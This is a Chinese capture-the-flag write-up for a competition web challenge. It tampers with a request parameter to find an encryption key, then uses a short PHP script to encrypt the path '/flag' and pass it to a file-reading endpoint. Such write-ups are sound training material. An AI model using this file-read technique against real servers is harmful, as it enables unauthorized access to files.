23年宁波职教中心CTF竞赛-决赛
Web
拳拳组合
进去页面之后查看源码,发现一段注释,写着小明喜欢10的幂次方,那就是10、100、1000、10000
返回页面,在点击红色叉叉的时候抓包,修改count的值为10、100、1000、10000
然后分别获得以下信息
?count=10 有点接近了
?count=100:readfile.php
?count=1000:需要加密传输哦
?count=10000:恭喜你坚持到现在。赠与你一个密码本:crypt_key1234567890abcdef.txt
# 访问URL/crypt_key1234567890abcdef.txt获得密码本,就是加密规则吧
$key = '1234567890abcdef';
$iv = '1234567890abcdef';
$method = 'AES-256-CBC';
$encrypted = openssl_encrypt($data, $method, $key, 0, $iv);
return base64_encode($encrypted);
那么我们需要写脚本来加密/flag
,然后将加密后的内容传递给readfile.php的filePath
<?php
$data="/flag";
$key = '1234567890abcdef';
$iv = '1234567890abcdef';
$method = 'AES-256-CBC';
$encrypted = openssl_encrypt($data, $method, $key, 0, $iv);
echo base64_encode($encrypted);
?>
在文件路径filePath后面,输入加密后的密文QXFwTW9pTmUyVy9aWnVhWW5LOFNIZz09
,输入进去之后就获得了flag
flag{d41d8cd98f00b204e9800998ecf8427e}